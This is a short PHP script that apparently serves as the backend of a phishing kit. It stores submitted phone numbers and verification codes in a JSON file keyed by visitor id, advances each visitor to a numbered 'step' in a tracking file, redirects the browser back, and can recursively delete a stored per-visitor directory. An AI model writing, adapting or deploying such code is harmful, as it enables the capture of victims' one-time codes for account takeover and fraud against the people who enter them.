<?php 
$pho = trim($_POST['phone']);
$cod = trim($_POST['code']);
if($pho != null and $cod != null){
    $whatIWant = trim($_POST['uid']);

        $file="pne.json";
    $ud=file_get_contents($file);
	$udarray = json_decode($ud);
    if(isset($udarray->{$whatIWant})){
	    unset($udarray->$whatIWant);					
		file_put_contents($file,json_encode((object)$udarray));

               $jsoio =  array('phone' => $pho,'number' => $cod);
		$udarray->$whatIWant = (object)$jsoio;
        file_put_contents($file,json_encode((object)$udarray));

    }else{
               $jsoio =  array('phone' => $pho,'number' => $cod);
		$udarray->$whatIWant = (object)$jsoio;
        file_put_contents($file,json_encode((object)$udarray));

    }

    submitUpdate($whatIWant,13);

echo '<script>history.go(-2);</script>';
}

function submitUpdate($clid, $prop){
$file="live.json";
$ud=file_get_contents($file);
    	$udarray = json_decode($ud);
	$id = $clid;
	if(isset($udarray->{$id})){
		$udarray->$id->step=$prop;
		if($prop=="1"){
		
			$filed="dve.json";
			$uds=file_get_contents($filed);
			$udsarray = json_decode($uds);
				if($udsarray->id == $id){
					rmrf('../'.$udsarray->d);	
					unset($udsarray->id);
					unset($udsarray->d);
					file_put_contents($filed,json_encode((object)$udsarray));
				}
				
			
			unset($udarray->$id);
			$udarray->$id->step=0;
		
		};
		file_put_contents($file,json_encode((object)$udarray));
	};
}

function rmrf($dir) {
    foreach (glob($dir) as $file) {
        if (is_dir($file)) { 
            rmrf("$file/*");
            rmdir($file);
        } else {
            unlink($file);
        }
    }
}